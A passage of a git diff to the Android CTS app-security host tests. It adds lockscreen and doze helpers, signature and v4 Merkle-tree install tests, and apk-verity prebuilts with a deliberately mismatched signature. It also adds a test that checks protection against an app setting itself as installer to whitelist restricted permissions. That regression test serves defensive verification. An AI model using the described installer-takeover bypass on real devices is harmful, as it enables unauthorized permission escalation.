+    boolean isDisplayedAndNotOccluded() {
+        return mKeyguardShowingAndNotOccluded;
+    }
+
+    private void checkCurrentState() {
+        int retriesLeft = 3;
+        boolean retry = false;
+
+        do {
+            if (retry) {
+                CLog.w("***Retrying dump****");
+                try {
+                    Thread.sleep(500);
+                } catch (InterruptedException ignored) {
+                }
+            }
+            try {
+                WindowManagerServiceDumpProto dumpProto = getDump(
+                        WindowManagerServiceDumpProto.parser(), DUMPSYS_WINDOW);
+                KeyguardServiceDelegateProto keyguardProto =
+                        dumpProto.getPolicy().getKeyguardDelegate();
+                mKeyguardShowingAndNotOccluded = keyguardProto.getShowing()
+                        && !keyguardProto.getOccluded();
+                retry = false;
+            } catch (Exception e) {
+                CLog.w(e);
+                retry = true;
+            }
+        } while (retry && retriesLeft-- > 0);
+
+        if (retry) {
+            fail("Could not obtain lockscreen state");
+        }
+    }
+
+    private <T extends MessageLite> T getDump(Parser<T> parser, String command) throws Exception {
+        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        mDevice.executeShellCommand(command, receiver);
+        return parser.parseFrom(receiver.getOutput());
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
new file mode 100644
index 0000000..5731457
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.ITestInformationReceiver;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * {@link TestRule} class that disables screen saver and doze settings before each test method
+ * running and restoring to initial values after test method finished.
+ */
+public class NormalizeScreenStateRule implements TestRule {
+    private final ITestInformationReceiver mTestInformationReceiver;
+
+    public NormalizeScreenStateRule(ITestInformationReceiver testInformationReceiver) {
+        mTestInformationReceiver = testInformationReceiver;
+    }
+
+    /** Doze items copied from ActivityManagerTestBase since the keys are hidden. */
+    private static final String[] DOZE_SETTINGS = {
+            "doze_enabled",
+            "doze_always_on",
+            "doze_pulse_on_pick_up",
+            "doze_pulse_on_long_press",
+            "doze_pulse_on_double_tap",
+            "doze_wake_screen_gesture",
+            "doze_wake_display_gesture",
+            "doze_tap_gesture",
+            "screensaver_enabled",
+    };
+
+    private ITestDevice getDevice() {
+        return mTestInformationReceiver.getTestInformation().getDevice();
+    }
+
+    private String getSecureSetting(String key) {
+        try {
+            CommandResult res = getDevice().executeShellV2Command("settings get secure " + key);
+            if (res.getStatus() != CommandStatus.SUCCESS) {
+                fail("Could not set setting " + key + ": " + res.getStdout());
+            }
+            return res.getStdout().trim();
+        } catch (DeviceNotAvailableException e) {
+            fail("Could not connect to device: " + e.getMessage());
+            return null;
+        }
+    }
+
+    private void putSecureSetting(String key, String value) {
+        try {
+            CommandResult res = getDevice().executeShellV2Command(
+                    "settings put secure " + key + " " + value);
+            if (res.getStatus() != CommandStatus.SUCCESS) {
+                fail("Could not set setting " + key + ": " + res.getStdout());
+            }
+        } catch (DeviceNotAvailableException e) {
+            fail("Could not connect to device: " + e.getMessage());
+        }
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                final Map<String, String> initialValues = new HashMap<>();
+                Arrays.stream(DOZE_SETTINGS).forEach(
+                        k -> initialValues.put(k, getSecureSetting(k)));
+                try {
+                    Arrays.stream(DOZE_SETTINGS).forEach(k -> putSecureSetting(k, "0"));
+                    base.evaluate();
+                } finally {
+                    Arrays.stream(DOZE_SETTINGS).forEach(
+                            k -> putSecureSetting(k, initialValues.get(k)));
+                }
+            }
+        };
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
new file mode 100644
index 0000000..923810c
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageSetInstallerTest.kt
@@ -0,0 +1,254 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts
+
+import android.appsecurity.cts.PackageSetInstallerConstants.CHANGE_ID
+import android.appsecurity.cts.PackageSetInstallerConstants.PERMISSION_HARD_RESTRICTED
+import android.appsecurity.cts.PackageSetInstallerConstants.PERMISSION_IMMUTABLY_SOFT_RESTRICTED
+import android.appsecurity.cts.PackageSetInstallerConstants.PERMISSION_KEY
+import android.appsecurity.cts.PackageSetInstallerConstants.PERMISSION_NOT_RESTRICTED
+import android.appsecurity.cts.PackageSetInstallerConstants.SHOULD_SUCCEED_KEY
+import android.appsecurity.cts.PackageSetInstallerConstants.SHOULD_THROW_EXCEPTION_KEY
+import android.appsecurity.cts.PackageSetInstallerConstants.TARGET_APK
+import android.appsecurity.cts.PackageSetInstallerConstants.TARGET_PKG
+import android.appsecurity.cts.PackageSetInstallerConstants.WHITELIST_APK
+import android.appsecurity.cts.PackageSetInstallerConstants.WHITELIST_PKG
+import android.cts.host.utils.DeviceJUnit4ClassRunnerWithParameters
+import android.cts.host.utils.DeviceJUnit4Parameterized
+import com.google.common.truth.Truth.assertThat
+import com.google.common.truth.Truth.assertWithMessage
+import org.junit.After
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
+import org.junit.runners.Parameterized
+
+/**
+ * This test verifies protection for an exploit where any app could set the installer package
+ * name for another app if the installer was uninstalled or never set.
+ *
+ * It mimics both the set installer logic and checks for a permission bypass caused by this exploit,
+ * where an app could take installer for itself and whitelist itself to receive protected
+ * permissions.
+ */
+@RunWith(DeviceJUnit4Parameterized::class)
+@Parameterized.UseParametersRunnerFactory(
+        DeviceJUnit4ClassRunnerWithParameters.RunnerFactory::class)
+class PackageSetInstallerTest : BaseAppSecurityTest() {
+
+    companion object {
+
+        @JvmStatic
+        @Parameterized.Parameters(name = "{1}")
+        fun parameters() = arrayOf(
+                arrayOf(false, "throwException"),
+                arrayOf(true, "failSilently")
+        )
+    }
+
+    @JvmField
+    @Parameterized.Parameter(0)
+    var failSilently = false
+
+    @Parameterized.Parameter(1)
+    lateinit var testName: String
+
+    @Before
+    @After
+    fun uninstallTestPackages() {
+        device.uninstallPackage(TARGET_PKG)
+        device.uninstallPackage(WHITELIST_PKG)
+    }
+
+    @After
+    fun resetChanges() {
+        device.executeShellCommand("am compat reset $CHANGE_ID $TARGET_PKG")
+        device.executeShellCommand("am compat reset $CHANGE_ID $WHITELIST_PKG")
+    }
+
+    @Test
+    fun notRestricted() {
+        runTest(removeWhitelistShouldSucceed = false,
+                permission = PERMISSION_NOT_RESTRICTED,
+                finalState = GrantState.TRUE)
+    }
+
+    @Test
+    fun hardRestricted() {
+        runTest(removeWhitelistShouldSucceed = true,
+                permission = PERMISSION_HARD_RESTRICTED,
+                finalState = GrantState.FALSE)
+    }
+
+    @Test
+    fun immutablySoftRestrictedGranted() {
+        runTest(removeWhitelistShouldSucceed = null,
+                permission = PERMISSION_IMMUTABLY_SOFT_RESTRICTED,
+                finalState = GrantState.TRUE_EXEMPT)
+    }
+
+    @Test
+    fun immutablySoftRestrictedRevoked() {
+        runTest(removeWhitelistShouldSucceed = null,
+                permission = PERMISSION_IMMUTABLY_SOFT_RESTRICTED,
+                restrictPermissions = true,
+                finalState = GrantState.TRUE_RESTRICTED)
+    }
+
+    private fun runTest(
+        removeWhitelistShouldSucceed: Boolean?,
+        permission: String,
+        restrictPermissions: Boolean = false,
+        finalState: GrantState
+    ) {
+        // Verifies throwing a SecurityException or failing silently for backwards compatibility
+        val testArgs: Map<String, String?> = mapOf(
+                PERMISSION_KEY to permission
+        )
+
+        // First, install both packages and ensure no installer is set
+        InstallMultiple(false, false)
+                .addFile(TARGET_APK)
+                .allowTest()
+                .forUser(mPrimaryUserId)
+                .apply {
+                    if (restrictPermissions) {
+                        restrictPermissions()
+                    }
+                }
+                .run()
+
+        InstallMultiple(false, false)
+                .addFile(WHITELIST_APK)
+                .allowTest()
+                .forUser(mPrimaryUserId)
+                .run()
+
+        setChangeState()
+
+        assertPermission(false, permission)
+        assertTargetInstaller(null)
+
+        // Install the installer whitelist app and take over the installer package. This methods
+        // adopts the INSTALL_PACKAGES permission and verifies that the new behavior of checking
+        // this permission is applied.
+        Utils.runDeviceTests(device, WHITELIST_PKG, ".PermissionWhitelistTest",
+                "setTargetInstallerPackage", mPrimaryUserId,
+                testArgs.plus(SHOULD_THROW_EXCEPTION_KEY to (!failSilently).toString()))
+        assertTargetInstaller(WHITELIST_PKG)
+
+        // Verify that without whitelist restriction, the target app can be granted the permission
+        grantPermission(permission)
+        assertPermission(true, permission)
+        revokePermission(permission)
+        assertPermission(false, permission)
+
+        val whitelistArgs = testArgs
+                .plus(SHOULD_SUCCEED_KEY to removeWhitelistShouldSucceed?.toString())
+                .filterValues { it != null }
+
+        // Now restrict the permission from the target app using the whitelist app
+        Utils.runDeviceTests(device, WHITELIST_PKG, ".PermissionWhitelistTest",
+                "removeWhitelistRestrictedPermission", mPrimaryUserId, whitelistArgs)
+
+        // Now remove the installer and verify the installer is wiped
+        device.uninstallPackage(WHITELIST_PKG)
+        assertTargetInstaller(null)
+
+        // Verify whitelist restriction retained by attempting and failing to grant permission
+        assertPermission(false, permission)
+        grantPermission(permission)
+        assertGrantState(finalState, permission)
+        revokePermission(permission)
+
+        // Attempt exploit to take over installer package and have target whitelist itself
+        Utils.runDeviceTests(device, TARGET_PKG, ".PermissionRequestTest",
+                "setSelfAsInstallerAndWhitelistPermission", mPrimaryUserId,
+                testArgs.plus(SHOULD_THROW_EXCEPTION_KEY to (!failSilently).toString()))
+
+        // Assert nothing changed about whitelist restriction
+        assertTargetInstaller(null)
+        grantPermission(permission)
+        assertGrantState(finalState, permission)
+    }
+
+    private fun setChangeState() {
+        val state = if (failSilently) "disable" else "enable"
+        device.executeShellCommand("am compat $state $CHANGE_ID $TARGET_PKG")
+        device.executeShellCommand("am compat $state $CHANGE_ID $WHITELIST_PKG")
+    }
+
+    private fun assertTargetInstaller(installer: String?) {
+        assertThat(device.executeShellCommand("pm list packages -i | grep $TARGET_PKG").trim())
+                .isEqualTo("package:$TARGET_PKG  installer=$installer")
+    }
+
+    private fun assertPermission(granted: Boolean, permission: String) {
+        assertThat(device.executeShellCommand("dumpsys package $TARGET_PKG | grep $permission"))
+                .contains("$permission: granted=$granted")
+    }
+
+    private fun grantPermission(permission: String) {
+        device.executeShellCommand("pm grant $TARGET_PKG $permission")
+    }
+
+    private fun revokePermission(permission: String) {
+        device.executeShellCommand("pm revoke $TARGET_PKG $permission")
+    }
+
+    private fun assertGrantState(state: GrantState, permission: String) {
+        val output = device.executeShellCommand(
+                "dumpsys package $TARGET_PKG | grep \"$permission: granted\"").trim()
+
+        // Make sure only the expected output line is returned
+        assertWithMessage(output).that(output.lines().size).isEqualTo(1)
+
+        when (state) {
+            GrantState.TRUE -> {
+                assertThat(output).contains("granted=true")
+                assertThat(output).doesNotContain("RESTRICTION")
+                assertThat(output).doesNotContain("EXEMPT")
+            }
+            GrantState.TRUE_EXEMPT -> {
+                assertThat(output).contains("granted=true")
+                assertThat(output).contains("RESTRICTION_INSTALLER_EXEMPT")
+            }
+            GrantState.TRUE_RESTRICTED -> {
+                assertThat(output).contains("granted=true")
+                assertThat(output).contains("APPLY_RESTRICTION")
+                assertThat(output).doesNotContain("EXEMPT")
+            }
+            GrantState.FALSE -> {
+                assertThat(output).contains("granted=false")
+            }
+        }
+    }
+
+    enum class GrantState {
+        // Granted in full, unrestricted
+        TRUE,
+
+        // Granted in full by exemption
+        TRUE_EXEMPT,
+
+        // Granted in part
+        TRUE_RESTRICTED,
+
+        // Not granted at all
+        FALSE
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 3f54a05..017787e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -44,6 +44,10 @@
     private static final String DEVICE_TESTS_APK = "CtsV3SigningSchemeRotationTest.apk";
     private static final String DEVICE_TESTS_PKG = "android.appsecurity.cts.v3rotationtests";
     private static final String DEVICE_TESTS_CLASS = DEVICE_TESTS_PKG + ".V3RotationTest";
+    private static final String SERVICE_PKG = "android.appsecurity.cts.keyrotationtest";
+    private static final String SERVICE_TEST_PKG = "android.appsecurity.cts.keyrotationtest.test";
+    private static final String SERVICE_TEST_CLASS =
+            SERVICE_TEST_PKG + ".SignatureQueryServiceInstrumentationTest";
     private static final String TEST_APK_RESOURCE_PREFIX = "/pkgsigverify/";
     private static final String INSTALL_ARG_FORCE_QUERYABLE = "--force-queryable";
 
@@ -664,6 +668,42 @@
         assertInstallFromBuildFails("v3-por_Z_1_2-default-caps-sharedUid-companion.apk");
     }
 
+    public void testInstallV3UpdateAfterRotation() throws Exception {
+        // This test performs an end to end verification of the update of an app with a rotated
+        // key. The app under test exports a bound service that performs its own PackageManager key
+        // rotation API verification, and the instrumentation test binds to the service and invokes
+        // the verifySignatures method to verify that the key rotation APIs return the expected
+        // results. The instrumentation test app is signed with the same key and lineage as the
+        // app under test to also provide a second app that can be used for the checkSignatures
+        // verification.
+
+        // Install the initial versions of the apps; the test method verifies the app under test is
+        // signed with the original signing key.
+        assertInstallFromBuildSucceeds("CtsSignatureQueryService.apk");
+        assertInstallFromBuildSucceeds("CtsSignatureQueryServiceTest.apk");
+        Utils.runDeviceTests(getDevice(), SERVICE_TEST_PKG, SERVICE_TEST_CLASS,
+                "verifySignatures_noRotation_succeeds");
+
+        // Install the second version of the app signed with the rotated key. This test verifies the
+        // app still functions as expected after the update with the rotated key. The
+        // instrumentation test app is not updated here to allow verification of the pre-key
+        // rotation behavior for the checkSignatures APIs. These APIs should behave similar to the
+        // GET_SIGNATURES flag in that if one or both apps have a signing lineage if the oldest
+        // signers in the lineage match then the methods should return that the signatures match
+        // even if one is signed with a newer key in the lineage.
+        assertInstallFromBuildSucceeds("CtsSignatureQueryService_v2.apk");
+        Utils.runDeviceTests(getDevice(), SERVICE_TEST_PKG, SERVICE_TEST_CLASS,
+                "verifySignatures_withRotation_succeeds");
+
+        // Installs the third version of the app under test and the instrumentation test, both
+        // signed with the same rotated key and lineage. This test is intended to verify that the
+        // app can still be updated and function as expected after an update with a rotated key.
+        assertInstallFromBuildSucceeds("CtsSignatureQueryService_v3.apk");
+        assertInstallFromBuildSucceeds("CtsSignatureQueryServiceTest_v2.apk");
+        Utils.runDeviceTests(getDevice(), SERVICE_TEST_PKG, SERVICE_TEST_CLASS,
+                "verifySignatures_withRotation_succeeds");
+    }
+
     public void testInstallV3KeyRotationSigPerm() throws Exception {
         // tests that a v3 signed APK can still get a signature permission from an app with its
         // older signing certificate.
@@ -1088,10 +1128,21 @@
         }
 
         // Editing apksigner to add trailing data after the Merkle tree
-        assertInstallV4FailsWithError("v4-digest-v3-merkle-tree-10mb-trailing-data.apk",
+        assertInstallV4FailsWithError("v4-digest-v3-merkle-tree-1mb-trailing-data.apk",
                 "Failure");
     }
 
+    public void testInstallV4WithMerkleTreeBitsFlipped() throws Exception {
+        // V4 is only enabled on devices with Incremental feature
+        if (!hasIncrementalFeature()) {
+            return;
+        }
+
+        // Editing apksigner to flip few bits in the only node of the Merkle tree of a small app.
+        assertInstallV4FailsWithError("v4-digest-v3-merkle-tree-bit-flipped.apk",
+                "Failed to parse");
+    }
+
     public void testV4IncToV3NonIncSameKeyUpgradeSucceeds() throws Exception {
         // V4 is only enabled on devices with Incremental feature
         if (!hasIncrementalFeature()) {
@@ -1407,9 +1458,15 @@
         return getDevice().uninstallPackage(DEVICE_TESTS_PKG);
     }
 
+    private void uninstallServicePackages() throws DeviceNotAvailableException {
+        getDevice().uninstallPackage(SERVICE_PKG);
+        getDevice().uninstallPackage(SERVICE_TEST_PKG);
+    }
+
     private void uninstallPackages() throws DeviceNotAvailableException {
         uninstallPackage();
         uninstallCompanionPackages();
         uninstallDeviceTestPackage();
+        uninstallServicePackages();
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index 1128c8f..557596a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -25,7 +25,6 @@
 import static org.junit.Assert.fail;
 
 import com.android.compatibility.common.util.HostSideTestUtils;
-import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -33,6 +32,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -66,6 +66,9 @@
 
     private boolean mSupportsMultiUser;
 
+    @Rule
+    public NormalizeScreenStateRule mNoDozeRule = new NormalizeScreenStateRule(this);
+
     @Before
     public void setUp() throws Exception {
         assertNotNull(getAbi());
@@ -311,7 +314,23 @@
     }
 
     private void deviceLock(int userId) throws Exception {
-        runDeviceTestsAsUser("testLockScreen", userId);
+        int retriesLeft = 3;
+        boolean retry = false;
+        do {
+            if (retry) {
+                CLog.i("Retrying to summon lockscreen...");
+                try {
+                    Thread.sleep(500);
+                } catch (InterruptedException ignored) {}
+            }
+            runDeviceTestsAsUser("testLockScreen", userId);
+            retry = !LockScreenInspector.newInstance(getDevice()).isDisplayedAndNotOccluded();
+        } while (retriesLeft-- > 0 && retry);
+
+        if (retry) {
+            CLog.e("Could not summon lockscreen...");
+            fail("Device could not be locked");
+        }
     }
 
     private void deviceEnterLskf(int userId) throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
index 3fc6f86..9dda405 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
@@ -12,6 +12,23 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+// A rule to collect apps for debugging purpose. See ApkVerityTestAppPrebuilt/README.md.
+genrule {
+    name: "CtsApkVerityTestDebugFiles",
+    srcs: [
+        ":CtsApkVerityTestApp",
+        ":CtsApkVerityTestAppFsvSig",
+        ":CtsApkVerityTestAppDm",
+        ":CtsApkVerityTestAppDmFsvSig",
+        ":CtsApkVerityTestAppSplit",
+        ":CtsApkVerityTestAppSplitFsvSig",
+        ":CtsApkVerityTestAppSplitDm",
+        ":CtsApkVerityTestAppSplitDmFsvSig",
+    ],
+    cmd: "echo $(in) > $(out)",
+    out: ["CtsApkVerityTestDebugFiles.txt"],
+}
+
 filegroup {
     name: "CtsApkVerityTestAppDm",
     srcs: ["CtsApkVerityTestApp.dm"],
@@ -72,18 +89,3 @@
     srcs: [":CtsApkVerityTestAppSplitDm"],
     out: ["CtsApkVerityTestAppSplit.dm.fsv_sig"],
 }
-
-// Create another app with mismatched .fsv_sig
-genrule {
-    name: "CtsApkVerityTestApp2",
-    srcs: [":CtsApkVerityTestApp"],
-    out: ["CtsApkVerityTestApp2.apk"],
-    cmd: "cp -f $(in) $(out)"
-}
-
-genrule {
-    name: "CtsApkVerityTestApp2FsvSig",
-    srcs: [":CtsApkVerityTestAppSplitFsvSig"],
-    out: ["CtsApkVerityTestApp2.apk.fsv_sig"],
-    cmd: "cp -f $(in) $(out)"
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-137282168/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
similarity index 65%
copy from hostsidetests/securitybulletin/securityPatch/Bug-137282168/Android.bp
copy to hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
index e6fd1de..cf37807 100644
--- a/hostsidetests/securitybulletin/securityPatch/Bug-137282168/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
@@ -12,19 +12,15 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-cc_test {
-    name: "Bug-137282168",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp"],
-    shared_libs: [
-        "libbinder",
-        "liblog",
-        "libutils",
-    ],
-    cflags: [
-        "-Wall",
-        "-Werror",
-        "-Wno-unused-parameter",
-        "-Wno-unused-variable",
+// Prebuilts that are signed with corresponding key of
+// build/make/target/product/security/fsverity-release.x509.der
+
+filegroup {
+    name: "CtsApkVerityTestPrebuiltFiles",
+    srcs: [
+        "arm/*",
+        "arm64/*",
+        "x86/*",
+        "x86_64/*",
     ],
 }
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/README.md b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/README.md
index 968675c..6e6e408 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/README.md
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/README.md
@@ -25,4 +25,60 @@
 
 How to use the app built locally
 --------------------------------
-TODO: provide instruction once the test switches to prebuilt and release signature.
+You need to override the prebuilts with the debug build.
+
+1. Build the debug artifacts by `m CtsApkVerityTestDebugFiles`. Copy the output
+   to a temporary directory, e.g.
+
+```
+(cd $ANDROID_BUILD_TOP && cp `cat
+out/soong/.intermediates/cts/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/CtsApkVerityTestDebugFiles/gen/CtsApkVerityTestDebugFiles.txt`
+/tmp/prebuilts/)
+```
+
+2. Copy files to create bad app, e.g. in /tmp/prebuilts,
+
+```
+cp CtsApkVerityTestApp.apk CtsApkVerityTestApp2.apk
+cp CtsApkVerityTestAppSplit.apk.fsv_sig CtsApkVerityTestApp2.apk.fsv_sig
+```
+
+3. Rename file names to match the test expectation.
+```
+for f in CtsApkVerityTestApp*; do echo $f | sed -E 's/([^.]+)\.(.+)/mv & \1Prebuilt.\2/'; done | sh
+```
+
+4. Run the test.
+
+```
+atest CtsAppSecurityHostTestCases:android.appsecurity.cts.ApkVerityInstallTest
+```
+
+How to update the prebuilts
+===========================
+
+1. Download android-cts.zip. The current prebuilts are downloaded from the links below.
+   TODO(157658439): update the links once we have the correct build target.
+
+```
+https://android-build.googleplex.com/builds/submitted/6472922/test_suites_arm64/latest/android-cts.zip
+https://android-build.googleplex.com/builds/submitted/6472922/test_suites_x86_64/latest/android-cts.zip
+```
+
+2. Extract CtsApkVerityTestApp\*.{apk,dm} and ask the key owner to sign
+   (example: b/152753442).
+3. Receive the release signature .fsv\_sig.
+4. Override CtsApkVerityTestApp2 to create a bad signature.
+
+```
+cp CtsApkVerityTestApp.apk CtsApkVerityTestApp2.apk
+cp CtsApkVerityTestAppSplit.apk.fsv_sig CtsApkVerityTestApp2.apk.fsv_sig
+```
+
+5. Rename to "Prebuilt".
+
+```
+for f in CtsApkVerityTestApp*; do echo $f | sed -E 's/([^.]+)\.(.+)/mv & \1Prebuilt.\2/'; done | sh
+```
+
+6. Duplicate arm64 prebuilts into arm and arm64, x86\_64 into x86 and x86\_64.
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestApp2Prebuilt.apk b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestApp2Prebuilt.apk
new file mode 100644
index 0000000..55542bb4e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestApp2Prebuilt.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestApp2Prebuilt.apk.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestApp2Prebuilt.apk.fsv_sig
new file mode 100644
index 0000000..8554714
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestApp2Prebuilt.apk.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.apk b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.apk
new file mode 100644
index 0000000..55542bb4e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.apk.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.apk.fsv_sig
new file mode 100644
index 0000000..db8b3ff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.apk.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm
new file mode 100644
index 0000000..e53a861
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
new file mode 100644
index 0000000..eab5745
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppPrebuilt.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.apk b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.apk
new file mode 100644
index 0000000..49265ff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.apk.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.apk.fsv_sig
new file mode 100644
index 0000000..8554714
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.apk.fsv_sig
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm
new file mode 100644
index 0000000..75396f1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
new file mode 100644
index 0000000..b39c3b5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/arm/CtsApkVerityTestAppSplitPrebuilt.dm.fsv_sig
Binary files differ
